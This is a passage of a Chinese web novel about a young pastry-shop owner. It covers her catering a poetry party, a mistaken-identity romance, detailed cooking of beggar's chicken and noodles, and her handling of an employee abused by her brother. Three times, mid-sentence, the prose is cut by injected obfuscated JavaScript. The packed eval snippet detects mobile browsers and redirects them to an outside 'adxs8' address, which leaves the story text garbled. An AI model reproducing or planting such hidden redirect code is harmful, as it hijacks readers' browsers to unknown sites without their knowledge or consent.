王宣一到书房便看见王宁四仰八叉的躺在窗边。 “哥！”王宁听见脚步声，立刻蹦了起来。 “点心的事怎么说？” “还没说。”王宣肚子空落落的，抬手倒了杯浓茶喝下。 “怎么还没说。”王宁走到王宣身边撒娇道。 王宣视而不见，反而盯着桌上的鲍螺甜筒，拿起一个抹茶味的。 “我什么时候答应了？” “哥！你都吃了我送的东西了！” 王宣吃完一个又拿了一个，“可我没答应啊。” “哥，你无赖！” 王宁想了想，他哥确实没说过答应帮忙。 好气哦，王宁在书房团团转，王宣则一口鲍螺一口茶的细品着。 这抹茶鲍螺甜筒真不错。茶味清香、鲍螺绵柔顺滑，入口先苦后甜，外皮也酥脆，奶香四溢。每一处他都很喜欢。 “我可知道你的小秘密了！”王宁威胁道。 王宣无动于衷道：“我有什么小秘密？我怎么不知道？” 王宁闻言抽出怀里的宣纸，说道：“就这个！你看这个不行，看那个不行，原来是心有所属！我要去告诉祖母！” 王宣微愣了一下，随即笑道：“那你要先找到这个小娘子呀。正好我还没找到，你要是找到了记得告诉我一声，我也想看看。” 这下轮到王宁愣住：“你没见过？” 王宣点头：“对啊。不然我为什么不画正脸画背影。”说完，王宣又拿了一个鲍螺甜筒。 王宁眼珠一转，说道：“这个小娘子我帮你找，但点心的事你得帮我！” 王宣想了想，万和县王宁比他熟，王宁还一天到晚在外面跑，说不定真能找到。 “行！”王宣擦擦手，说道：“后天姑姑要办一场诗会，点心可以请好记的师傅来做。” “我说的是寿宴点心。”王宁强调道。 王宣点头道：“我知道，可他都没在我们家做过一次，我怎么去说服祖母？” 王宁：“是哦。” “我这个是有条件的哦。你找到了人，我才帮你说服祖母。你还有二十天的时间。” “万和县就这么大，我一家一家的找也绝对给你找出来！”王宁拍拍胸脯保证道。 反正他哥没见过正脸，那不他说是谁就是谁嘛。 王宁收起画像就往好记跑。 47. 芋泥雪媚娘 “后天？”好安支着笔问道：“人数多少？有什么忌口或者要求吗？” “额——”王宁太激动了，当时忘记问了。 “今晚我让管事来和你谈吧，具体的我也不知道。” 好安合上本子，点头道：“好。” “那好记后天中午还做水煮鱼片嘛？” “……有。” “有就行。”王宁满意的点点头。 “对了。你见过这个小娘子吗？”王宁说着展开画像。 好安：“只有背影？” “只有背影。”王宁说道：“这个小娘子很重要，关系到寿宴。” 好安面露疑惑：“你家怎么奇奇怪怪的，一会鲍螺关系到寿宴，一会一个小娘子关系到寿宴。怎么，这个小娘子是你祖母失散多年的孙女？我找到她，然后你祖母一个高兴就同意我承接寿宴了？” “当然不是！”王宁连忙否认。 这是她“失散多年”的嫂嫂呀。 王宁：“反正你看见她告诉我就行。” “我怎么找？一个脸都没有。”好安往嘴里塞了块柚子。 “背影像的就行，你这不是小娘子多嘛。” 好安想了一会，问道：“我要是找到这个小娘子，寿宴的事是不是一定妥了？” 王宁：“一定！” 这可是他哥亲口同意的。从小到大，他哥只要答应他的事就没有不成。 好安起身，抖掉身上的果皮，跳了一圈，说道：“你看我像不像？” “这个样式的裙子我也有。我再梳个双髻绑个发带，如何？” “这个——”王宁语塞，可转而一想，怎么不行！ 甚至好安是最适合的人选。 反正都是糊弄他哥，不如找个熟人。 “那你多练练。”王宁起身示范道：“这个裙摆要飞起来，发带要飘起来，身体要轻盈欢快……” 好安按这个动作蹦哒了两下。 “对对！差不多了。”王宁满意的转了一圈，“到时候我安排你在我哥面前跑一圈，这个事就稳妥了！” 好安翘着脚问道：“关你哥什么事？” “没什么事，就是学给他看一下。”王宁赶紧岔开话题，说道：“你手里再拿本书。” ———— 王宁这次效率极高，他刚离开，王家的管事便来敲定细节。 诗会虽不如寿宴隆重，但也是万和县数一数二人家的场子。 王宁她姑姑在万和县小有才名，到时候好记多多宣传，自然会有跟风的订单吻上来。 十月初三，好安登门。因为都是女子，丫鬟先引着好安见了王宁的姑姑，王篱。 屋内，除了坐在上头的女子神色慵懒，其他人都挺直背站在一边。 环境影响，好安也不由直了直身板。 “给姑夫人请安。” “这是好记的师傅？”王篱招手请好安入座。 她一直以为侄子说的是个年长的妇人，没想到是个十几岁的小娘子。 “正式在下。” “这小娘子长得可真标志。” 好安笑了笑，微微低下头。 王宁提醒过，他姑对文静腼腆的人赏钱给的都多。 刚说两句话，小厨房那边就差人来问，说要开始准备了，不然时间来不及。 好安一听就知道是谢宗林在催。 王篱就不挽留了，说道：“宣哥一直说你点心做的好，待会的诗会还要麻烦你了。” 不过片刻，好安的后背已经有点僵僵的，也没听清王篱说了什么，只是一味的起身屈膝行礼：“应该的。” 说完便被丫鬟领取小厨房。 “哎呀妈呀，我要是生在这种人家我能僵成木乃伊。” 厨房里没了其他人，好安立刻把背勾成虾。 有些东西直接从店里带，有些则要现做。 比如雪媚娘。 秋冬的芋头软糯香甜，削皮，上锅蒸烂。然后倒入紫薯粉、糖分和牛奶，最后捣烂成泥，经典馅料——芋泥便做好了。 把雪白的糯米皮像擀饺皮一样擀开，挤上一块鲍螺，再加上几勺芋泥，再挤上一块鲍螺。然后把对角拎起，紧捏在一起。 轻轻样上拎一拎，保证捏起得力度大于回弹的力度。最后把捏出来的小嘴剪掉。 因为是小型诗会，点心准备五样就行。 一份葱油桃酥，这是王篱爱吃的。 一份黄油年糕，一份原味甜甜圈。 一份抹茶鲍螺甜筒，这个最近在万和县十分畅销。还有一份就是芋泥雪媚娘，算是新品。 点心端上去后，好安便清闲下来。 王宁不知什么时候摸了过来，问道：“听说今天有新点心。” 好安：“有，但没多的。” “这个不是吗？”王宁指着剩下的芋泥问道。 “馅。” “能直接吃吗？” “能。” 王宁得了肯定回答便用勺子挖了一口：“嗯~这个好吃。” “吃吧，都是你的。” “你动作练熟了吗？”这才是王宁今天找她的目的。 好安躺在椅子上，竖起三个手指，懒懒地说道：“包你的。” “你这样不行！”王宁看着一摊烂泥似的好安说道：“我们去花园练练。” “行吧。”好安拍了拍扶手直起身。 为了钱，奋斗吧。 “我们家花园最好看，去花园。”王宁一手拿着勺子，一手抱着芋泥在前面带路。 “行。” 王家花园十分阔气，流水假山、鲜花湖泊，在好安眼里就是一个小型林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137312|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 园。 好安轻嗅：“腊梅开了？” “你鼻子好灵，只开了几多。”王宁说道。 “冬天要来了呀。” “冬天这里也很美，梅花、山茶——你手机拿擀面杖干嘛？” 好安抬手晃了晃：“你上次不是说拿书吗？现在没书就用这个临时替一下。” “也行。” “等下”好安忽然发现角落的花架上有一盆要求的植物，“你家有芦荟哎！” “这个草没意思，也不开花。” 好安拍了拍胸口，暗示：我喜欢。 王宁见着好安眼睛都快粘上去，便大方道：“这盆送你了。” 芦荟可以炒鸡蛋、炖排骨，糖渍后还可以做奶茶小料。 好安眼睛一下亮了，立刻把这盆芦荟抱在怀里，生怕王宁反悔。 “不对啊，凭什么白送你啊。”王宁不服，“我在你家吃个饭都要收钱。” 好安见王宁反悔，护崽子似的抱着花盆。 “君子一言，驷马难追。后天还有水煮鱼片，免费送你一碗。” “一盆卢会就值二十文？” 二人开始讨价还价。 王宣路过花园便看见一道活泼的身影，是她。 “咳——”王宣向前走了几步。 “哥。” “叫爹也不还给你！” “哥，这是好记的东家，好安好老板。这次姑姑诗会的点心都是她一手操办的。”王宁示意好安赶紧朝后看，“好老板，这是我哥，王宣。” “哦，见过王郎君。”好安一个向后转，花盆和擀面杖豆没来得及放下，急忙地朝眼前人行了个礼。 她转身的动作灵活轻快，裙摆随之飞扬。阳光打在她脸上，阳光都因她而明媚。 王宣看着眼前人，嘴角的笑压都压不住。 “你哥怎么了？怎么笑的这么开心。”好安瞪了眼王宁，示意他看向他哥。 他也不知道啊。 既然他哥心情这么好，不如…… 王宣一把夺过好安手里的擀面杖，不知从哪掏出一本书塞给好安。 这是干什么？刚刚那句叫爹肯定听见了吧。 确定要在这么尴尬的时候旋转跳跃吗？ 王宣打断好安和王宁的无声交流：“卢会不错。”说完就笑着离开了。 走至长廊，王宣忍不住又回头看了一眼，正巧碰上好安抬眼。 二人双目对视，好安条件反射的鞠了一躬。 “你在干嘛？”王宁不可置信的问道。 好安：“我，腰不好。” “哦。”王宁看着他哥远去的背影，小声嘀咕道：“我哥今天怎么这么开心呢？” “我不造啊。”好安说道：“你说我还要旋转跳跃吗？” 王宁：“我不造啊。” 48. 叫花鸡 除了芋泥雪媚娘铺子里没有，其他的都能在铺子里买到。 但既然是私人宴会，自然没做的和铺子里一模一样。 好安在点心造型上做了一些改动。 葱油桃酥上撒了白芝麻、黄油年糕换了模具、甜甜圈里包了豆沙、抹茶鲍螺上多撒了一层茶粉，都不是复杂的事。 十人份的点心，王家给了三两银子，又打赏了五朵上好的绢花。 一朵绢花也要几百文呢。 看来王篱很满意，好着从管事手里接过匣子，笑着道了声谢。 刚出王家侧门，好安就看见周娟满脸焦急的站在门口。 周娟一瞄到好安的身影连忙冲了过去。 “东家，好记出事了。” “怎么了？” “下午吴月她爹来了，喝了不少酒，和吴月刚讲了两句就开始动手。谢大哥上去拦结果两人打起来了！” “！” 好安撒腿就跑，两腿抡得像风火轮，远远把周娟甩在身后。 好记的大门被周娟合上大半，门口又有人守着，所以没什么围观群众。 好安一进门便看见最靠后的一个展示柜都裂了，点心也撒了一地。王秀带着其他人在收拾。 “人呢？”好安问道。 王秀抬手指了指后门。 两人刚发生摩擦，谢宗林就单方面揪着吴月她爹往后院去了。 “老子教训人关你屁事。”吴月她爹一边动手，一边叫嚷：“几个小娘子开店，谁知道干的什么勾当。铺子里就你一个大男人，你是不是爽死了……” 好安刚踏进厨房便听见一串污言秽语和拳脚相踢的声音。 好气！谢宗林是动手的时候是不能说话了吗？也不知道骂回去。 好安撸起袖子，拿起门闩就冲上去：“爽什么。敢砸老子的铺子，老子今天让你爽个够。” 谢宗林见好安抄着棍子来了，连忙把吴月她爹的屁股蛋子翻朝外。 别的地方下手要三思，屁股蛋子不还随便打么。好安扬手就是一棍子。 “啪——” “啊——” 吴月她爹醉醺醺的趴在谢宗林身上，两脚直蹬。他想用手捂住屁股，但胳膊被谢宗林死死按住，只能一边乱踹，一边张嘴叫骂。 好安气道：“我看你就是不够疼，还有心情骂人！” “啪啪啪”，一连几下，吴月她爹好似反应过来这个姿势太疼了，拼着胳膊折了的风险也要翻面。 吴月她爹块头大，脑子不清醒的状况下用力都是十成十的。谢宗林一时也拦不住，便支起身体，顺着他的胳膊随他翻了个身。 吴月她爹刚一翻面，就看见一个漂亮的小娘子现在自己面前。 呦，这怒气冲冲地模样更添几分娇嫩。 “快给我香一个，呣——” “咔”。 谢宗林趁着吴月她爹分神，干脆利落地卸了他的下巴。 “早该卸了。” 吴月她爹发不出声音，后院一下安静了。好安赶紧回去拿了根绳子，和谢宗林齐心协力地把她爹双手和双腿捆了。 好安忙完拍拍手问道：“吴月呢？” 谢宗林摇摇头，说道：“你看看在不在前面铺子里。” 好安又跑去铺子里，问道：“吴月呢？” 其他人又指了指后院。 “后面没看见。” “我们看着她跟着谢大哥进去的。” “行吧，我再找找。你们也别捡了，先把这个柜子抬出厨房，铺子赶紧正常营业。”好安朝周娟挥了挥手，道：“收银台这边你来看一下。” 好安重回后院扫了一圈，还是没有看到人。 藏起来了？ 忽然，她的目光定格在院子里得水井上。 好安慌忙地跑过去，还好水面稳如平镜。 “吴月！”好安着急道。 “呜呜呜。”吴月她爹晃头应道。 “碍事玩意。”好安恶狠狠的刮了他一眼，侧头对谢宗林道：“把他送去医馆，你脸上的伤也要处理一下。” “啊？”谢宗林一时愣住。 把人打了一顿还给他送医馆去？这和没打有什么区别？还要花钱。 好安环顾小院，解释道：“多找几个大夫看看，防止他酒醒后讹我们。没啥大问题就仍医馆让他家人来接。” 谢宗林点点头，踉跄地站起来。 好安：“你身上还有伤？” “没事。”谢宗林捂着胸口，摇摇晃晃地说道。 好安连忙上前把他扶住，“你这样怎么送他去医馆？我去喊隔壁张叔搭把手，你先坐着别乱动。” 谢宗林见好安一只脚已经踏出院门，便抬手活动活动了胳膊。没想到好安半路回头，谢宗林胳膊一下卡在半空。 好安也没多想，着急道：“胳膊怎么了？现在能慢慢放下来吗？” 谢宗林眼神闪躲道：“不，不能。” “那你别再动了，防止伤到骨头。张叔我让王秀去喊。”说着，好安起身去了前面的铺子，回来的时候手里多了块布巾和伤药。 “脸上我给你擦了擦吧。”好安打了一盆水。 凉凉的湿布拂过伤口，灼烧感本应逐渐消退，谢宗林却觉得越来越烫。尤其好安的呼吸打在上面，他觉得自己像被架在灶台上炙烤。 “你不是还要找吴月吗？这个我自己来就行。”谢宗林慌忙地夺过湿布，指尖无意擦过好安的掌心。 “噌”一下，谢宗林快熟了。 好安：“你怎么擦？” “我，我这只手还能动。”谢宗林结巴道。 “可你看不到伤口啊。” “我，我知道，哪里疼，擦哪里。”谢宗林根本不敢看向好安。 “行吧，水在这。”好安把盆搬到谢宗林方便的那一侧。 “哈，吭吧（爽吧）”吴月她爹留着口水，醉懵懵地道。 谢宗林一个眼刀过去，吴月她爹翻了个白眼。 “咚咚咚”，有人敲门。 “应该是张叔来了。”好安扶起谢宗林，正要开门。 “我和张叔两个人够了，你就在家吧。”谢宗林赶紧说道。 他不能让好安送他去医馆，不然他胳膊怎么放下来。 好安摆摆手，说道：“你这样我不放心。” “没事，我是胳膊有问题，走路不影响。”谢宗林说道：“吴月不还没找到嘛？你快去找找” “这——”好安面露犹豫。 犹豫间，谢宗林已经拽起吴月她爹，合上他的下巴出门了。 吴月呢？ 后院只剩下好安一人，一时静的出奇。 好安一个房间一个房间的找，忽然在柴房听见细微的哭泣声。 声音从角落传出，像空气轻颤动，一闪而过。 吴月躲在柴堆后面，埋着头紧缩成一团，全身微微颤抖。好安上前轻轻碰了碰，吴月顿时发出一声尖叫。 “吴月。”好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148611|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安一连唤了几声，吴月才松开手，露出额头。 “你爹走了。”好安柔声问道：“你能站起来吗？” 吴月没有说话，眼神呆愣，等呼吸平稳后，蜷缩的身体渐渐伸直。 “还能站起来吗？”好安伸出一只手，又问道。 吴月咽了咽口水，点点头。 好安踢开脚下散落的柴火，给她清出一条路。 吴月一步一抖地走到柴房门口，发现院里没人，双肩才垮了下来。 “擦个脸吧。”好安正要去拿布巾，吴月自己抬袖擦了擦脸上的汗。 好安等到吴月身体不发颤了，才斟酌开口问道：“这个爹和招工时候的爹长得不一样啊。” 吴月低着头，捧着茶杯，小声道：“他不是我爹，是我哥。” 好安挑眉，她哥长得可真有年纪，所有人都以为那是她爹。 招工的时候好安提了些要求，有一条就是父母在身边的话，来好记做工要经过父母同意。毕竟都是年纪不大的小娘子，也没出阁，要是瞒着家里偷偷跑出来，后面也麻烦。 防了爹，防了娘，没防住哥哥。 吴月来应聘的时候就说他们一家都赞同，还特意把她爹她娘喊了过来。好安见吴月言语讨喜，形象不错，便签了雇佣契约。 这几个月来，吴月干的也不错。 “听大伙说，你哥动手打你了？” “就，推了……”吴月嗫嚅着说不出完整的一句话。 好安看着吴月脖子上的伤没拆穿。 忽然，吴月放下茶杯，“咚”一声在好安面前跪下，哀求道：“东家，求求你。你别赶我走。” 好安吓了一大跳。 “你先起来。” 可吴月铁了心要跪，好安拽了几次都没拽起来。 “你哥这样也……” 话没说完，吴月连忙插道：“我哥平时不这样的，只是偶尔。我这个月工钱不要了，求求掌柜别赶我走。” 偶尔也够她呛了。 谢宗林涂的药还在院子里，好安顺手递给了她，“伤口涂涂吧。” “啊。”吴月一时没反应过。 好安指了指她的脖子，吴月抬手摸了摸，这才发现脖子出血了。 “你哥这样对你多久了？”好安问道。 吴月没吭声。 “你哥这样你爹你娘不管吗？” 吴月沉默。 好安叹了口气没说话。 如今律例上对家暴的定义只限定在夫妻之间。亲兄妹之间这种事就算出了人命都能从宽处理。 等吴月涂好伤口，好安说道：“你先回家休息一两天吧。” 吴月跪着没动。 “你哥现在在医馆，不在家。” 说完，吴月依旧跪着。 好安顿了顿，说道：“你后天再来。” 谢宗林回来胳膊好像还有些不太灵活，好安一碰就僵在那。 “晚饭还是我来吧。” 除了刚搬到县里，好安已经很久没大显身手了，最多做个示范打个样。 “我没事！”谢宗林说着挥了个胳膊，结果一不小心扯到蝴蝶谷后面的伤，忍不住“嘶”了一声。 “我来我来。”好安夺过他手里的盆，正好塞给刚放学进门的好昕，道：“今晚你和面。”自己则去杀鸡。 俗话说吃哪补哪，伤着骨头就应该喝点排骨汤。猪骨头没买到，鸡骨头应该也行。 一只鸡煲汤，一只鸡做叫花鸡。 49. 鸡油清汤面 公鸡是发物，大夫说吃发物可能导致伤口愈合缓慢，好安便买了一只老母鸡、一只嫩母鸡。 现在的鸡都是真正的土鸡，不仅肚子里有大块大块的鸡油，皮下也有黄亮亮的一层脂肪。 好安先把鸡油剔下来，往锅里倒入少量清水，烧开后放入鸡油。 水渐渐烧干，鸡油发出“滋滋”的声音，四周冒出细小的油泡。好安用筷子拨了拨，香味一下迸发出来。 两只母鸡也就一小碗鸡油，没一会鸡油就瘪成小碎块。好安倒出一部分，留着煮面吃。锅里的加入葱姜，快炒一下再加入剁好的鸡块。 鸡块表面微微变色，好安立刻加水添柴，等大火煮开。 鸡汤暂告一段落，好安开始腌另一只鸡。 鸡去头去尾，然后用细竹条在鸡身扎孔，接着加入调料。 盐、葱、姜、蒜末、胡葱、酱油、花雕还有好安自己用八角、桂皮、茴香、丁香、花椒磨的五香粉。 酱料顺着鸡皮流淌，留下一道道褐色的水痕。好安撸起袖子，一边涂抹，一边做马杀鸡。 先是鸡胸，这里的肉质纤细，口感软嫩能够快速的吸收调料。好安轻轻的压了压，接着双手转向鸡翅鸡腿。 鸡腿和鸡翅的关节多，有很多条条缝缝，需要仔细涂抹。 反转鸡身，来到鸡背。好安用手托住酱汁反复的往鸡背上涂抹揉搓。然后双手化指为梳，用指腹的力量在鸡身上游走按压，将酱汁更好的渗入肉里。 最后还有鸡腔也要均匀涂抹，这样的叫花鸡才能均匀入味。 酱汁挂在鸡身上，形成一层柔亮的光泽。 好安将一部分的香料塞进一鸡肚子，一部分了的香料附在表面，腌制半个时辰。 忙完这些，鸡汤也煮开了。 好安捞去鸡汤里的葱姜，把火调小开始慢炖。 叫花鸡除了鸡最重要的就是荷叶。 荷叶自带香气，用它包裹鸡能防止鸡肉被烧焦，还能锁住汁水，把香气渗入鸡肉。让叫花鸡不仅有鸡肉的鲜嫩，还有荷叶的清香。 这个季节湖里早没了荷叶，但家里存了不少干荷叶。 好昕喜欢吃荷叶饭，好安夏天便晒了一沓。这时候正好派上用场。 干荷叶香气比新鲜荷叶浓郁却易碎。荷叶要用水浸泡，恢复韧性后才能用。 于是好安找了个大盆装温水，小心翼翼的把干荷叶放进去。 等荷叶回软至少要两刻钟，好安擦了擦手去看好昕面揉得如何。 面多了加水，水多了加面。 好昕对此严格执行，因此最开始一巴掌大的面团已经快和头差不多大了。 “姐。”好昕看向好安，又看了看粘了一手的面，露出求助的神色。 好安指挥道：“加一点点面粉。” 好昕对一点点可能有些误解，一碗下去舀了三分之一。 “多了！”好安连忙说道。 好昕轻轻的抖了抖两下，面粉只是脱了层皮。 “一半。” 好昕揉了两下还是觉得粘手又想加面。 “不用加，这才几下，继续揉。” 好安站在一旁，一边洗香菇，一边看着。 她发现好昕揉面更像抓面。 “不要用手指揉，用掌心推。” 好安拿着香菇做了示范，一掌下去压扁两个香菇。 换了方法，好昕手里的面团逐渐成型。 “揉几下放一会。揉个两三次就行。”好安看好昕越来越熟练，十分欣慰。 她的弟弟怎么能不会和面！ 鸡腌制好后，好安在鸡身上刷了一层玉米油，尤其是鸡胸。这里没什么脂肪，容易变干，要用额外的油脂来保持鲜嫩。 然后把香菇、香干丁、栗子和鸡头鸡爪都塞进鸡肚子里，再用荷叶裹了两三层。 除了裹荷叶，还要裹上黄泥。 黄泥院子里就有，谢宗林挖来一大盆。 和黄泥也有技巧，和的时候可以适当的放一些短碎的稻草和酒。 稻草可以使黄泥包裹的更牢固，破开的时候也更容易分离。酒则能增香，烘烤的时候酒的香气会和荷叶的香气一起渗入鸡肉。 黄泥要不稀不厚。 稀了挂不住，烤制的时候会干裂，鸡肉容易糊。厚了不容易熟，可能黄泥都烧裂了里面还没什么变化。 玩泥巴仿佛小孩子的本能。 好昕忍不住的想上手帮忙，却被好安赶走：“你待会还要切手擀面。” 好昕撅着嘴巴收回手。 好安脸上溅上泥巴，坐在灶膛边看火的谢宗林正想伸手拿布，却被好昕抢先一步，用袖口擦掉了。 谢宗林怏怏不乐。他当时为什么要主动来烧火呢？不然和好安一起玩泥巴的就是他。 裹严实的叫花鸡放进灶膛，先大火定型，再小火慢烤，快好时用微火收尾。 月升星起，好昕盯着灶膛里的大泥团问道：“姐姐，它怎么没有香味？” 之前姐姐做好吃的隔好远就能闻见，这次他鼻子都快伸进灶膛了，也只问道一点点。 好安笑了笑道：“香气被裹住啦，吃的时候就能闻到了。” “那我们什么时候能吃。” 好安看了看时间，用木棍轻轻敲了敲泥壳。 黄泥已经出现裂缝，发出“咚咚”的声音。 “可以煮面了。”好安话音刚落，谢宗林立马端着竹箪凑过来。 水烧开，放入面条轻轻搅动，水要沸出来的时候再加一碗冷水，第二次开锅的时候捞出。 碗里是用酱油、醋、葱花调好的清汤底和焯水的绿豆芽。 “开饭了。”好安最后淋上鸡油。 鸡油清汤面的香气不输任何高汤和猪油。 好昕不怕烫，端着就吸了一口。 好安用火钳托出叫花鸡，捣碎上面的泥壳。刹那间，闷了一个多时辰的荷叶香喷薄而出，深褐色的荷叶间都是细腻的水汽。 “好香。”好昕拿来一个碟子。好安直接连着最里层的荷叶放了上去。 鸡腿骨已经从软烂的肉里支出来，还化着蜜色的肉汁。 鸡汤、叫花鸡、两个素菜。三人第一次吃得如此丰盛，都吃得闷不吭声。 “嗝~”好昕吃了三碗鸡油清汤面，实在塞不下才恋恋不舍放下筷子。 “我们要去一趟张叔家，你在家洗碗。”好安把空碗摞在一起，朝好昕推了推，然后回屋拿了两份铺子里的点心。 今天下午请张叔帮忙得上门道谢。 张叔家今天饭吃的迟，好安和谢宗林上门的时候还没吃完。二人道谢后也不便久留，说了三四句话便回家了。 路上，好安拍了拍肚子说道：“吴月这事得想个办法。你看到她脖子上的伤没，好大一块，我都看见肉了。” 谢宗林点头附和道：“他哥是忽然动手的，下手还狠。” “对自己妹妹都这样，烂人一个。” “我明天去打听打听，想办法要得对症下药。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15157881|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 好安有意消食走得很慢，谢宗林巴不得如此，走得更慢。 平日里半刻都用不了的路程，二人硬生生晃了一刻钟。 好安纠结道：“要不要找吴月的爹娘谈谈呢？招工的那天我看他们挺明事理，关心吴月的。” 谢宗林不赞同，“吴月她哥刚开始是推，吴月什么反应都没有。看起来像被欺负惯了，她爹娘可能知道这事，但没管。” “不一定……” 说话间，二人看见后院门口站着两个人。 好安捣了捣谢宗林道：“那是不是吴月她爹和她娘？” “是。” 好安和谢宗林一走近，两口子就立刻迎了上来。好安有些猝不及防，但还是八月份二人请进屋。 “二位这是来了解……” 话未说完，刚坐下的两口子又忽然站起来，说道：“吴月回家把事情和我们说了。真是不好意思，耽搁东家生意了。” 好安点点头，如实说道：“是耽搁了。” 两口子一噎，尴尬的笑了笑。 “吴月的伤怎么样？”好安问道。 “就破了点皮没什么事。”吴月她娘陪着笑道：“她回去心里可不安了，躲在屋里偷偷哭。” “哭没有用，主要是她哥……” “她已经知道错了！”吴月她爹连忙说道：“我们已经教训过她了。” “？”好安顿住，眉头微皱道：“今天和吴月没太大关系，是她哥在店里闹事，你们怎么教训起吴月？难道不应该教训她哥嘛？” “不是的。”吴月她爹说道：“是她哥和她说事，她没答应。东家误会了。” “对，误会。都是吴月的错。” “吴月的错？她做错什么了？”好安笑了：“是她哥一言不合就动手。” 两口子见好安面露不悦，连忙解释道：“没有动手。” “你们没看见她脖子上的伤吗？”好安声音骤冷。 “兄妹嘛，哪有不打架的，这正常，她哥也不是故意的。”吴月她爹不以为然。 “兄妹之间确实会有矛盾，但这不代表打架是正常的。”好安忽然想起吴月当时的状态，问道：“她哥是不是总打吴月？” “怎么会。”吴月她娘眼神闪躲。 好安看出来了，这家护着她哥，对她哥打吴月的行为视而不见。 好安不想和他们沟通，直截了当道：“这么晚了，歉也道过了，二位请回吧。” “这。”吴月她爹支支吾吾，不肯走。 “还有事？”好安面露不耐烦。 吴月她爹瞅着好安的脸色，小心翼翼地问道：“那吴月会被解雇吗？” “她后天就来上班了，有什么事我会和她说的。”好安支着嘴角，笑容浮于表面。 吴月她爹娘还想再说些什么，但被“碰巧”路过的谢宗林请了出去。 “你说这份工能保得住吗？”吴月她娘心里不安。 吴月她爹叹气道：“等后天再看吧。” “好记的活不重，一个月还好七八百的工钱呢？可不能丢。”说着，吴月她娘拧了她爹一下道：“你得想办法。” 吴月她爹一把推开她娘，气道：“那我让你带点东西上门你怎么不带，哪有上门给人道歉不带礼的。” “我，带什么！”吴月她娘挂脸道：“我们家有什么好东西送人？我刚刚可看见了，她家泔水桶里有两个鸡头呢！一顿饭就吃两只鸡，幸亏没送，送了人家也看不上你那两菜帮子！” 50. 调班 吴月来的时候伤没好也没上药，只是用衣领遮了遮。 铺子里的其他小娘子见状纷纷递上自己备的伤药。 “我这个消红去肿。” “我这个止痒。” “我这个去疤。” …… 吴月憋着嘴巴吸了吸鼻子。 好安倚在后门看了一眼，把手里的药瓶放了回去。 一上午风平浪静。 中午吃饭的时候吴月磨磨蹭蹭。等其他人都吃完离开了，她才放下碗筷。 “说吧。”好安给她倒了杯热茶。 吴月低头，捧着茶杯道：“东家，你会解雇我吗？” 好安没回答，反问道：“你哥还会来吗？” 吴月看了一眼好安，又飞速移开。 “我哥，我哥只是偶尔。” 偶尔。 好安皱了皱眉。 “你知道你哥打你是不对的吗？” 吴月想了一下，点了点头。 “你有想过反抗吗？” “我，”吴月忽然掉下一滴眼泪，说道：“我哥平时对我挺好的。他只是偶尔喝酒才会这样。” 好安：“偶尔也不行！” 谢宗林第二天就去打听过了，吴月她哥叫吴达，在县里一家木工坊干活。平日里勤劳能干，人也和和气气，派下来的活计做完后还会帮其他人做，但就算这样，他哥在木工坊人缘并不好。 一次吃饭，他不小心撞到了一个富商。这个富商是他们木工坊的大客户，他只能憋着气去给富商赔礼道歉，却被富商的下人嘲讽这么次的酒也敢端过来。 酒没敬出去，转身时还和一个陌生汉子撞了，他气得一拳把人家的牙都打掉了。 事后大伙聚在一起把这件事讲出来，说他下手狠力气大，吴达心里只觉得痛快，甚至隐隐为豪到处宣扬。往后他也愈发猖狂，只要稍有不顺心就喝酒上拳头。 “手给我。” 说着，好安卷起吴月的袖子，露出或青或紫的伤痕。 “你给你爹你娘看过这些伤吗？” 吴月点点头，又摇摇头道：“刚开始给过，我娘说是我太娇气，我哥是不小心的，让我不要放在心上。后面次数多了，我娘就说是我没听我哥的话。” 这什么跟什么呀。 打人还有理了？ 好安放下吴月的手，说道：“你不能表现的逆来顺受。你要让他知道，他只要对你动手就会付出更惨痛的代价。” “可我哥平时真不这样，他说他会改的……”吴月一时双眼迷茫。 好安拍了拍的她手，很想说以后要是你哥再打你记得和我说，我就找人去揍他，让他知道疼。但想到她再而三的为她哥说情，话到嘴边改成：“有什么困难就和我说。” “东家，如果，我说如果。”吴月忽然问道：“如果好昕以后长大了打你，你会怎么办？” “他打我？”好安笑了一声：“那就把他从这个家除名。” “除名。”吴月小声轻声念叨，一时愣住。 “可没有男丁不就绝户了吗？” “我又没死呢，绝什么户。”好安说道：“大晏有得是女子自立门户。县里陈家有钱不？她家两代没有男嗣，绝户了吗？我看还越来越有钱了呢。” 好安又继续说道：“记住，宁做母老虎，不做缩头龟，这样才没有人欺负你。” 吴月似懂非懂的点点头，起身离开。 下午，街尾客栈老板娘在好记定了五十个铜锣烧和三十杯珍珠奶茶。 她和好安关系不错，也是好记的大客户，这一单好安便亲自送去。 东西有点多，奶茶也沉，谢宗林便去后院拖出之前摆摊用的小推车。 